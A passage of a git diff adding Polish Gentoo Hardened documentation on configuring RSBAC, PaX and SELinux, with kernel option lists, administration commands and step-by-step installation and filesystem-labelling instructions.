+[*] RSBAC support for JAIL policy
+[*] RSBAC support for PAX policy
+[*] RSBAC support for System Resources (RES) policy
+
+<comment>Sekcja "Softmode and switching"</comment>
+[ ] RSBAC policies switchable
+[*] RSBAC soft mode <comment>(Należy wyłączyć w jądrach produkcyjnych)</comment>
+[*]     Individual module softmode support
+
+<comment>Sekcja "Logging": wszystko oprócz "Log to remote UDP network socket",
+chyba, że zamierzamy logować na zdalny komputer</comment>
+
+<comment>Sekcja "RSBAC symlink redirection"</comment>
+[*]   RSBAC symlink redirection
+[*]     Add remote IP address
+[*]       Add user ID number
+[*]       Add RC role number
+
+<comment>Sekcja "Other RSBAC options"</comment>
+[*] Intercept sys_read and sys_write
+[*] Intercept Semaphore IPC operations
+[*] Control DAC process owner (seteuid, setfsuid)
+[*] Hide processes in /proc
+[*] Support freezing of RSBAC configuration
+[*] RSBAC check sys_syslog
+</pre>
+
+<note>
+Jeżeli planujemy uruchomić serwer X Window (taki jak X.org lub XFree86), musimy
+zaznaczyć <c>"[*] X support (normal user MODIFY_PERM access to ST_ioports)"</c>.
+Polecam odwiedzenie <uri link="/proj/pl/hardened/hardenedxorg.xml">Używanie Xorg
+na Hardened Gentoo</uri>
+</note>
+
+<p>
+Przejdziemy teraz do konfiguracji PaX, które jest dopełnieniem jądra RSBAC.
+Należy również ustawić następujące opcje w sekcji "Security options ---> PaX".
+</p>
+
+<pre caption="Konfiguracja opcji jądra dla PaX">
+[*] Enable various PaX features
+PaX Control  --->
+    [*] Support soft mode <comment>(Wyłączamy w jądrze produkcyjnym)</comment>
+    [ ] Use legacy ELF header marking
+    [ ] Use ELF program header marking
+        Use ELF program header marking MAC system integration (direct)  --->
+        (X) hook
+
+Non-executable pages  --->
+    [*] Enforce non-executable pages (NEW)
+    [*]   Paging based non-executable pages
+<comment>(W nowszych wersjach PaX, zazwyczaj najlepszym wyborem jest PAGEEXEC
+dla x86, w razie problemów zamieniamy na SEGMEXEC)</comment>
+    [*]   Segmentation based non-executable pages (NEW)
+    [*] Restrict mprotect()
+    [ ]   Disallow ELF text relocations <comment>(Opcja ta jak na razie jest niestabilna i niezalecana)</comment>
+
+Address Space Layout Randomization  --->
+    [*] Address Space Layout Randomization
+    [*]   Randomize user stack base
+    [*]   Randomize mmap() base
+</pre>
+
+<note>
+<uri link="http://pax.grsecurity.net">PaX</uri> strona z informacjami
+na temat PaX.
+</note>
+
+<note>
+By administrować PaX, należy zaopatrzyć się w RSBAC admin utilities (narzędzia
+administracyjne), zamiast chpax lub paxctl dołączonych do jądra RSBAC.  Umożliwi
+to administrację PaX-em i ustawienie zazwyczaj używanych flag.
+</note>
+
+<pre caption="Zarządzanie flagami PaX">
+# <i>rsbac_fd_menu /path/to/the/target/item</i>
+    lub
+    # <i>attr_set_file_dir FILE /path/to/the/target/item pax_flags [pmerxs]</i>
+</pre>
+
+<p>
+Teraz można przystąpić do kompilacji i instalacji, tak jak to ma miejsce przy
+zwykłym jądrze, odnośnie do innych opcji.
+</p>
+
+<impo>
+Sugeruje się utworzenie drugiego jądra bez opcji softmode oraz AUTH, by móc
+korzystać ze środowiska produkcyjnego.  Należy to zrobić natychmiast po
+przetestowaniu i skonfigurowaniu, jako że opcja wyłączenia systemu kontroli
+dostępu zostanie usunięta.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalacja RSBAC admin utilities</title>
+<section>
+<body>
+
+<p>
+By zarządzać Gentoo z RSBAC, będziemy potrzebować konkretnych programów
+użytkowych. Są one zawarte w pakiecie rsbac-admin, który należy zainstalować.
+</p>
+
+<pre caption="Instalowanie narzędzi administracyjnych RSBAC">
+# <i>emerge rsbac-admin</i>
+</pre>
+
+<p>
+Po zemergowaniu, pakiet utworzy nowe konto użytkownika w systemie (secoff, uid
+400). Stanie się on administratorem zabezpieczeń podczas pierwszego uruchomienia
+systemu. Jest to jedyny użytkownik, który może modyfikować konfigurację RSBAC.
+Będzie on powszechnie znany jako Security Officer.
+</p>
+
+<impo>
+Pamiętamy by ustawić <e>bezpieczne</e> hasło dla użytkownika secoff.
+</impo>
+
+<pre caption="Ustawianie hasła dla uzytkownika Security Officer">
+# <i>passwd secoff</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pierwsze uruchomienie</title>
+<section>
+<body>
+
+<p>
+Przy pierwszym uruchomieniu logowanie do systemu nie będzie możliwe, ponieważ
+moduł AUTH  <e>ograniczy</e> przywileje programów. By rozwiązać ten problem
+należy uruchomić system w softmode używając następujących parametrów jądra (w
+konfiguracji lilo lub grub-a):
+</p>
+
+<pre caption="Parametry jądra w Softmode">
+<i>rsbac_softmode</i>
+</pre>
+
+<p>
+Aplikacja logowania zarządza loginami użytkowników w systemie. Wymaga to praw do
+setuid, które teraz nadamy:
+</p>
+
+<p>
+Logujemy się jako Security Officer (secoff) i umożliwiamy utworzenie loginów za
+pomocą komendy:
+</p>
+
+<pre caption="Umożliwianie logowania użytkowników">
+# <i>rsbac_fd_menu /bin/login</i>
+  lub
+  # <i>attr_set_fd AUTH FILE auth_may_setuid 1 /bin/login</i>
+</pre>
+
+<p>
+Alternatywnie, jeżeli softmode nie jest aktywne, można użyć następujących
+parametrów jądra:
+</p>
+
+<pre caption="Umożliwianie logowania użytkowników za pomocą parametrów jądra">
+<i>rsbac_auth_enable_login</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tryb nauki i moduł AUTH</title>
+<section>
+<title>Tworzenie zasad dla OpenSSH</title>
+<body>
+
+<p>
+Ponieważ żadna zasada nie została jeszcze określona (oprócz tej wygenerowanej
+podczas pierwszego uruchomienia), moduł AUTH nie zezwala na zmiany UID-ów.
+</p>
+
+<p>
+Dzięki trybowi inteligentnej nauki, można w prosty sposób rozwiązać ten problem:
+Moduł AUTH może automagicznie wygenerować niezbędne zasady obserwując usługi
+podczas ich startu, i notując uid-y, na które usługi próbują się przełączyć. Na
+przykład, by nauczyć moduł AUTH o uid-ach potrzebnych dla sshd (demon OpenSSH),
+należy:
+</p>
+
+<impo>
+Upewniamy się, że sshd lub demon, którego użyjemy do trybu nauki nie jest już
+uruchomiony.
+</impo>
+
+<pre caption="Tworzenie zasad dla sshd za pomocą trybu nauki">
+<comment>Uaktywniamy tryb nauki dla sshd</comment>
+# <i>attr_set_file_dir AUTH FILE `which sshd` auth_learn 1</i>
+
+<comment>Uruchamiamy usługę</comment>
+# <i>/etc/init.d/sshd start</i>
+
+<comment>Zatrzymujemy tryb nauki</comment>
+# <i>attr_set_file_dir AUTH FILE `which sshd` auth_learn 0</i>
+</pre>
+
+<note>
+Należy także zalogować się do systemu przed wyłączeniem trybu nauki, gdyż sshd
+będzie usiłowało zmienić swe uid-y gdy użytkownik się zaloguje.
+</note>
+
+<p>
+Teraz sshd powinno działać jak należy, <e>gratulacje</e>, właśnie powstała
+pierwsza zasada utworzona przez użytkownika. :) Ta sama procedura może zostać
+użyta dla każdego innego demona.
+</p>
+
+<note> 
+Jako alternatywne rozwiązanie dla uruchomienia trybu nauki dla każdego
+potrzebnego demona aplikacji, można uaktywnić globalny tryb nauki (który będzie
+uczył o wszystkich uruchomionych usługach, globalnie, jak wskazuje nazwa).
+</note>
+
+<p>
+Globalny tryb nauczania może zostać uruchomiony za pomocą parametru jądra,
+aplikowanym podczas startu systemu:
+</p>
+
+<pre caption="Aktywowanie globalnego trybu nauki">
+<i>rsbac_auth_learn</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dodatkowe informacje</title>
+<section>
+<body>
+
+<p>
+Sugerowane jest zapisanie się do <uri
+link="http://www.gentoo.org/main/en/lists.xml">listy mail-owej gentoo-hardened
+</uri>. Generalnie jest to lista o małym ruchu, ogłoszenia RSBAC dla Gentoo będą
+tam dostępne.  Zalecane jest również zapisanie się do <uri
+link="http://rsbac.org/mailman/listinfo/rsbac/">listy mail-owej RSBAC</uri>.
+Warto także zapoznać się z <uri
+link="http://www.gentoo.org/proj/en/hardened/hardenedfaq.xml">hardened FAQ</uri>
+jako że znajduje się tam większość pytań.
+</p>
+
+<table>
+<tr>
+  <ti>Linki:</ti>
+  <ti><uri link="http://www.rsbac.org">Oficjalna strona RSBAC</uri></ti>
+</tr> 
+<tr>
+  <ti>kanały IRC:</ti>
+  <ti><uri link="irc://irc.freenode.org/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <ti><uri link="irc://irc.freenode.org/rsbac">#rsbac</uri></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-install.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-install.xml
new file mode 100644
index 00000000..8f5bfaf7
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-install.xml
@@ -0,0 +1,75 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-install.xml,v 1.2 2006/09/07 11:58:11 rane Exp $ -->
+
+<sections>
+<version>1.3</version>
+<date>2006-04-26</date>
+
+<section>
+<title>Instalacja SELinux w Gentoo</title>
+<subsection>
+<title>Wprowadzenie</title>
+<body>
+
+<warn>
+SELinux ma zastosowanie tylko na serwerach, wsparcie dla stacji roboczych
+dopiero powstanie.
+</warn>
+
+<p>
+Instalacja Gentoo z SELinux jest taka sama jak zwykłego Gentoo. Opis instalacji
+Gentoo znajduje się w <uri link="/doc/pl/handbook/index.xml">Podręczniku
+Gentoo</uri>. Następnie należy dodać do systemu SELinux postępując zgodnie ze
+wskazówkami z <uri link="?part=2">drugiego rodziału tego Podręcznika</uri>
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Informacje dot. instalacji</title>
+<subsection>
+<title>Systemy plików</title>
+<body>
+
+<p>
+W tej chwili tylko ext2, ext3, JFS i XFS są obsługiwane.
+</p>
+
+<p>
+Użytkownicy XFS powinni skorzystać z 512-bajtowych węzłów (domyślnie mają 256
+bajtów). SELinux wykorzystuje dodatkowe miejsce do przechowywania etykiet
+bezpieczeństwa plików. W XFS znajdują się one w węzłach, więc jeśli węzeł jest
+za mały, trzeba korzystać z kolejnego węzła, co powoduje utratę dużej ilości
+wolnego miejsca.
+</p>
+
+<pre caption="Przykład tworzenia systemu plików XFS">
+# <i>mkfs.xfs -i size=512 /dev/hda3</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Kernel</title>
+<body>
+
+<warn>
+Jądra 2.6.14 i 2.6.15 mają zepsutą obsługę XFS.
+</warn>
+
+<p>
+Można oszczędzić chwilę czasu, zaglądając w czasie instalacji do rozdziału
+opisującego <uri link="?part=2&amp;chap=2#doc_chap2">opcje jądra</uri> wymagana
+przez SELinux. Dzięki temu nie trzeba będzie budować jądra po raz drugi.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-profile.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-profile.xml
new file mode 100644
index 00000000..f67862d8
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-profile.xml
@@ -0,0 +1,135 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-profile.xml,v 1.6 2007/09/26 09:50:57 rane Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2007-07-22</date>
+
+<section>
+<title>Zmiana profilu</title>
+<subsection>
+<body>
+
+<warn>
+SELinux obsługuje jedynie systemy plików ext2/3, XFS oraz JFS. Inne systemy
+plików nie posiadają pełnego wsparcia dla potrzebnych rozszerzonych atrybutów.
+</warn>
+
+<warn>
+Należy korzystać z profilu 2006.1 lub nowszego gdyż na starszych mogą pojawić
+się rozmaite trudności.
+</warn>
+
+<impo>
+Jak zawsze, należy mieć przygotowane LiveCD, w razie gdyby coś poszło nie
+tak jak powinno.
+</impo>
+
+<p>
+Najpierw należy zmienić profil systemu na profil SELinux dla posiadanej
+architektury:
+</p>
+
+<pre caption="Zmiana profilu na SELinux">
+# <i>rm -f /etc/make.profile</i>
+
+<comment>x86:</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/x86 /etc/make.profile</i>
+<comment>x86 (hardened):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/x86/hardened /etc/make.profile</i>
+
+<comment>AMD64:</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/amd64 /etc/make.profile</i>
+<comment>AMD64 (hardened):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/amd64/hardened /etc/make.profile</i>
+
+<comment>PPC:</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/ppc /etc/make.profile</i>
+
+<comment>SPARC64:</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2007.0/sparc64 /etc/make.profile</i>
+</pre>
+
+<impo>
+Nie należy używać innych profili niż te, które wymienione są powyżej, nawet
+jeśli mamy wrażenie, że są one już stare. Profile SELinux nie są tworzone tak
+często jak domyślne profile Gentoo.
+</impo>
+
+<impo>
+Profil SELinuksa posiada mniej flag USE niż domyślny profil. Polecenie <c>emerge
+info</c> wskaże czy są jakieś flagi, które należy dołączyć do make.conf.
+</impo>
+
+<note>
+Nie jest konieczne dodawanie flagi selinux do flag USE w make.conf. Profil
+SELinux już tego dokonał.
+</note>
+
+<note>
+Jeżeli pojawi się komunikat "!!! SELinux module not found. Please verify that
+it was installed.", nie należy się przejmować. Jest to normalne i zostanie
+naprawione później w trakcie procesu konwersji.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Uaktualnienie nagłówków jądra</title>
+<subsection>
+<body>
+
+<p>
+Należy rozpocząć od uaktualnienia najważniejszych pakietów. Najpierw należy
+sprawdzić wersję zainstalowanych nagłówków jądra (ang. linux-headers).
+</p>
+
+<pre caption="Sprawdzenie wersji linux-headers">
+# <i>emerge -s linux-headers</i>
+<comment>lub jeśli jest zainstalowany gentoolkit:</comment>
+# <i>equery list -i linux-headers</i>
+</pre>
+
+<p>
+Jeśli nagłówki jądra są starsze niż 2.4.20, konieczne jest zainstalowanie
+nowszych.
+</p>
+
+<pre caption="Instalacja nowych nagłówków">
+# <i>emerge \>=sys-kernel/linux-headers-2.4.20</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Uaktualnienie Glibc</title>
+<subsection>
+<body>
+
+<p>
+Po instalacji nowych nagłówków jądra (oraz gdy nie mamy pewności, czy wcześniej
+były one przeinstalowywane), konieczne jest przekompilowanie glibc.
+</p>
+
+<pre caption="Rekompilowanie glibc">
+# <i>emerge glibc</i>
+</pre>
+
+<impo>
+Przekompilowanie glibc z nowymi nagłówkami jądra to bardzo ważna czynność. Jeśli
+tego nie zrobimy, niektóre operacje będą źle wykonywane.
+</impo>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-reboot1.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-reboot1.xml
new file mode 100644
index 00000000..b4dc813e
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-reboot1.xml
@@ -0,0 +1,199 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-reboot1.xml,v 1.7 2007/09/26 09:47:31 rane Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2007-07-22</date>
+
+<section>
+<title>Instalacja jądra SELinux</title>
+<subsection>
+<body>
+
+<p>
+Należy zainstalować odpowiednie jądro. Dla SELinux wymagane są jądra serii
+2.6. Sugerujemy wykorzystanie kernela hardened-sources.
+</p>
+
+<warn>
+W jądrach wersji 2.6.14 i 2.6.15 obsługa XFS w SELinux jest popsuta. Użytkownicy
+SELinux i XFS nie powinni ich używać.
+</warn>
+
+<pre caption="Instalacja odpowiedniego jądra">
+<comment>Jakiekolwiek jądro z serii 2.6</comment>
+# <i>emerge hardened-sources</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Kompilacja jądra z opcjami dla SELinux</title>
+<subsection>
+<body>
+<p>
+Jądro musi być skompilowane z obsługą zabezpieczeń SELinux, devpts oraz
+rozszerzonymi atrybutami zabezpieczeń. W dokumentacji instalacji znajduje się
+więcej informacji na ten temat.
+</p>
+
+<pre caption="Wymagane opcje oraz ich lokalizacja w menuconfig">
+<comment>Kategoria "Code maturity level options"</comment>
+[*] Prompt for development and/or incomplete code/drivers
+
+<comment>Kategoria "General setup"</comment>
+[*] Auditing support
+[*]   Enable system-call auditing support
+
+<comment>Kategoria "File systems"</comment>
+&lt;*&gt; Second extended fs support <comment>(Dla ext2)</comment>
+[*]   Ext2 extended attributes
+[ ]     Ext2 POSIX Access Control Lists
+[*]     Ext2 Security Labels
+&lt;*&gt; Ext3 journalling file system support <comment>(Dla ext3)</comment>
+[*]   Ext3 extended attributes
+[ ]     Ext3 POSIX Access Control Lists
+[*]     Ext3 Security labels
+&lt;*&gt; JFS filesystem support <comment>(Dla JFS)</comment>
+[ ]   JFS POSIX Access Control Lists
+[*]   JFS Security Labels
+[ ]   JFS debugging
+[ ]   JFS statistics
+&lt;*&gt; XFS filesystem support <comment>(Dla XFS)</comment>
+[ ]   Realtime support (EXPERIMENTAL)
+[ ]   Quota support
+[ ]   ACL support
+[*]   Security Labels
+
+<comment>W sekcji "Pseudo filesystems" (kategoria "File systems")</comment>
+[ ] /dev file system support (EXPERIMENTAL)
+[*]   /dev/pts Extended Attributes
+[*]     /dev/pts Security Labels
+[*] Virtual memory file system support (former shm fs)
+[*]   tmpfs Extended Attributes
+[*]     tmpfs Security Labels
+
+<comment>Kategoria "Security options"</comment>
+[*] Enable different security models
+[*] Socket and Networking Security Hooks
+&lt;*&gt;   Default Linux Capabilities
+[*] NSA SELinux Support
+[ ]   NSA SELinux boot parameter
+[ ]   NSA SELinux runtime disable
+[*]   NSA SELinux Development Support
+[ ]   NSA SELinux AVC Statistics
+(1)   NSA SELinux checkreqprot default value
+[ ]   NSA SELinux enable new secmark network controls by default
+[ ]   NSA SELinux maximum supported policy format version
+</pre>
+
+<note>
+Dostępne opcje mogą się nieznacznie różnić w zależności od używanego jądra. Inne
+rozszerzone atrybuty powinny być wyłączone.
+</note>
+
+<p>
+Rozszerzone atrybuty zabezpieczeń muszą być włączone dla devpts oraz używanych
+systemów plików. Devfs nie jest już wykorzystywane w SELinux, wobec czego może
+być wyłączone. Nie wszystkie powyższe opcje znajdują się w starszych wersjach
+jąder z serii 2.6 (jak na przykład "Auditing support" lub "runtime disable"). W
+nowszych jądrach obsługa rozszerzonych atrybutów proc i tmpfs jest domyślnie
+włączona. W związku z tym opcje te nie pojawią się w menu konfiguracyjnym.
+</p>
+
+<warn>
+Nie należy włączać opcji SELinux MLS policy, jeśli jest dostępna, gdyż nie jest
+ona już obsługiwana i spowoduje, że komputer nie uruchomi się.
+</warn>
+
+<p>
+Teraz należy skompilować i zainstalować jądro oraz jego moduły, jednakże bez
+dokonywania ponownego uruchomienia komputera.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Uaktualnianie fstab</title>
+<subsection>
+<body>
+
+<p>
+SELinuxfs musi być włączone podczas uruchamiania. Należy dopisać poniższą
+linijkę do /etc/fstab:
+</p>
+
+<pre caption="Ustawienia fstab dla selinuxfs">
+none    /selinux    selinuxfs    defaults    0    0
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Konfiguracja Baselayout</title>
+<subsection>
+<body>
+
+<p>
+SELinux nie wspiera devfs. Należy tak skonfigurować baselayout aby używało
+statycznego devfs lub udev. W przypadku używania udev, należy wyłączyć
+wykorzystywanie RC_DEVICE_TARBALL. W pliku /etc/conf.d/rc należy ustawić
+RC_DEVICES jako static lub udev, zaś RC_DEVICES_TARBALL jako "no". Jeśli
+wykorzystywane są specyficzne urządzenia, sugerowane jest używanie static, w
+innym przypadku udev.
+</p>
+
+<pre caption="Konfiguracja skryptów inicjujących">
+# Use this variable to control the /dev management behavior.
+#  auto   - let the scripts figure out what's best at boot
+#  devfs  - use devfs (requires sys-fs/devfsd)
+#  udev   - use udev (requires sys-fs/udev)
+#  static - let the user manage /dev
+
+RC_DEVICES="<comment>udev</comment>"
+
+# UDEV OPTION:
+# Set to "yes" if you want to save /dev to a tarball on shutdown
+# and restore it on startup.  This is useful if you have a lot of
+# custom device nodes that udev does not handle/know about.
+
+RC_DEVICE_TARBALL="<comment>no</comment>"
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ponowne uruchomienie komputera</title>
+<subsection>
+<body>
+
+<p>
+Należy stworzyć kilka katalogów przed ponownym uruchomieniem komputera.
+</p>
+
+<pre caption="Tworzenie wymaganych katalogów">
+# <i>mkdir /selinux</i>
+# <i>mkdir /sys</i>
+</pre>
+
+<p>
+Teraz ponownie uruchamiamy komputer.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-reboot2.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-reboot2.xml
new file mode 100644
index 00000000..6f2c9389
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-reboot2.xml
@@ -0,0 +1,231 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-conv-reboot2.xml,v 1.7 2008/01/17 00:26:10 rane Exp $ -->
+
+<sections>
+<version>2.1</version>
+<date>2008-01-11</date>
+
+<section>
+<title>Instalowanie pakietów SELinux</title>
+<subsection>
+<body>
+
+<p>
+Należy zainstalować biblioteki, główne programy użytkowe oraz podstawową
+politykę. Wersja polityki może wymagać dopracowania. W dokumencie Przegląd
+SELinux można znaleźć więcej informacji na temat  polityk.
+</p>
+
+<pre caption="Instalowanie podstawowych pakietów SELinux oraz polityki">
+# <i>emerge libselinux checkpolicy policycoreutils</i>
+# <i>FEATURES=-selinux emerge selinux-base-policy</i>
+
+# <i>cd /etc/security/selinux/src/policy</i>
+<comment>Teraz należy załadować daną wersję polityki, jeśli zachodzi taka potrzeba</comment>
+# <i>make load</i>
+</pre>
+
+<note>
+To jedyny przypadek kiedy należy dodawać zmienną "FEATURES=-selinux" przed
+poleceniem emerge. Jest to wymagane do pierwszej instalacji selinux-base-policy,
+ponieważ bez policycoreutils i selinux-base-policy instalacja ta się nie uda.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Wybór polityki</title>
+<body>
+
+<p>
+Od wersji 2006.1 użytkownicy mogą wybrać pomiędzy polityką ścisłej kontroli oraz
+kontroli selektywnej.
+</p>
+
+<p>
+Kontrola ścisła przypomina tę z 2006.1, gdzie sprawdzane są wszystkie procesy.
+Jest ona sugerowana i wspierana dla serwerów. Nie polecamy jej dla stacji
+roboczych.
+</p>
+
+<p>
+Kontrola selektywna sprawdza tylko usługi sieciowe. Jest ona sugerowana i
+wspierana dla stacji roboczych.
+</p>
+
+<p>
+Aby wybrać politykę, należy edytować plik /etc/selinux/config.
+</p>
+
+<pre caption="Zawartość etc/selinux/config">
+# This file controls the state of SELinux on the system on boot.
+
+# SELINUX can take one of these three values:
+#       enforcing - SELinux security policy is enforced.
+#       permissive - SELinux prints warnings instead of enforcing.
+#       disabled - No SELinux policy is loaded.
+SELINUX=permissive <comment>(Powinno zostać jako permissive na resztę instalacji)</comment>
+
+# SELINUXTYPE can take one of these two values:
+#       targeted - Only targeted network daemons are protected.
+#       strict - Full SELinux protection.
+SELINUXTYPE=strict <comment>(To ustawiamy na strict (ścisła kontrola) lub targeted (selektywna))</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Instalacja pakietów przystosowanych do SELinux</title>
+<subsection>
+<body>
+
+<p>
+Istnieje wiele pakietów systemowych, które posiadają łatki dla
+SELinux. Posiadają one szereg dodatkowych funkcjonalności przygotowanych dla
+SELinux, jak np. wyświetlanie kontekstów plików.
+</p>
+
+<pre caption="Przeinstalowanie oprogramowania">
+# <i>emerge sysvinit pam coreutils findutils openssh procps psmisc shadow util-linux python-selinux</i>
+</pre>
+
+<note>
+Jeżeli odkryjemy, że nie możemy używac Portage między innimy przez takie błędy:
+!!! 'module' object has no attribute 'secure_rename' lub AttributeError:
+'module' object has no attribute 'getcontext'. Jest to błąd portage wywołany
+brakiem portage-selinux. Błędu tego możemy się pozbyć instalując
+portage-selinux przy pomocy polecenia "FEATURES=-selinux USE=-selinux emerge
+python-selinux".  Więcej informacji znajdziemy w raportcie błędu <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=122517">#122517</uri>.
+</note>
+
+<p>
+Istnieje wiele innych programów, które posiadają łatki dla SELinux, jednak
+zainstalowanie ich jest opcjonalne. Jeśli już posiadamy te aplikacje w systemie,
+należy je przekompilować, aby łatki SELinux zostały wykorzystane:
+</p>
+
+<ul>
+<li>app-admin/logrotate</li>
+<li>sys-apps/fcron</li>
+<li>sys-apps/vixie-cron</li>
+<li>sys-fs/device-mapper</li>
+<li>sys-fs/udev</li>
+<li>sys-libs/pwdb</li>
+</ul>
+
+<note>
+Fcron oraz Vixie-cron są jedynymi cronami z obsługą SELinux.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Instalowanie polityki aplikacji</title>
+<subsection>
+<body>
+
+<p>
+W przyszłości gdy będziemy instalować pakiet, polityka dotycząca danego
+programu będzie instalowana w pierwszej kolejności jako zależność. Jednak,
+aktualnie przekształcamy nasz system, więc musimy sami zadbać o zainstalowanie
+polityki dla aktualnie instalowanych pakietów. Selinux-base-policy zawiera
+prawie wszystkie pakiety znajdujące się w profilu
+</p>
+
+<p>
+W katalogu <path>/usr/portage/sec-policy</path> znajduje się kilkanaście
+wpisów, każdy z nich reprezentuje oddzielną politykę. Schemat nazw:
+selinux-PKGNAME, gdzie PKGNAME jest nazwą pakietów, do którego odnosi się dana
+polityka. Dla przykładu, pakiet selinux-apache jest pakietem polityki SELinux
+dla net-www/apache. Instalujemy potrzebne pliki, a następnie uruchamiamy
+potrzebne nam polityki. Jeśli jest to konwersja ze stacji roboczej, należy
+doinstalować pakiet polityki selinux-desktop.
+</p>
+
+<pre caption="Przykładowa instalacja apache i polityk">
+# <i>ls /usr/portage/sec-policy</i>
+<comment>(Wyświetla nam wiele katalogów)</comment>
+# <i>emerge selinux-apache selinux-bind</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Znakowanie systemu plików</title>
+<subsection>
+<body>
+
+<p>
+Teraz należy oznakować system plików. Każdemu plikowi w systemie zostanie
+nadany odpowiedni znacznik bezpieczeństwa. Utrzymanie zgodności znaczników jest
+niezwykle ważne.</p>
+
+<pre caption="Znakowanie systemu plików">
+# <i>rlpkg -a -r</i>
+</pre>
+
+<warn>
+Znany jest błąd występujący w starszych wersjach programu GRUB. Powodował on
+problemy w odczytaniu dowiązań symbolicznych, które zostały oznakowane. Należy
+upewnić się, że zainstalowana wersja programu GRUB nie jest starsza niż
+0.94. Należy również uruchomić program GRUB i nadinstalować go do sektora
+rozruchowego, aby upewnić się, że używa on uaktualnionych ustawień.
+Gdzieś tam leży LiveCD w razie czego, prawda?
+</warn>
+
+<pre caption="Przeinstalowanie GRUB do sektora rozruchowego (tylko dla
+użytkowników GRUB)">
+# <i>grub</i>
+
+grub> root (hd0,0) <comment>(Partycja rozruchowa)</comment>
+grub> setup (hd0) <comment>(Miejsce gdzie znajduje się rekord rozruchowy, tutaj
+jest on w MBR)</comment>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ostateczne ponowne uruchomienie</title>
+<subsection>
+
+<body>
+<p>
+Należy ponownie uruchomić komputer. Potem musimy zalogować się i ponownie
+dokonać znakowania systemu plików, aby upewnić się że wszystkie pliki są dobrze
+oznakowane (niektóre pliki mogły zostać utworzone podczas wyłączania i
+uruchamiania komputera).
+</p>
+
+<pre caption="Znakowanie plików">
+# <i>rlpkg -a -r</i>
+</pre>
+
+<note>
+Mocno zaleca się, aby dokonać <uri
+link="http://www.gentoo.org/main/pl/lists.xml">subskrypcji</uri> na liście
+mailingowej gentoo-hardened. Na ogół niewiele się tam dzieje, jednakże
+ogłoszenia dotyczące SELinux są umieszczane właśnie tam.
+</note>
+
+<p>
+SELinux jest zainstalowany!
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-faq.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-faq.xml
new file mode 100644
index 00000000..fa75123b
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-faq.xml
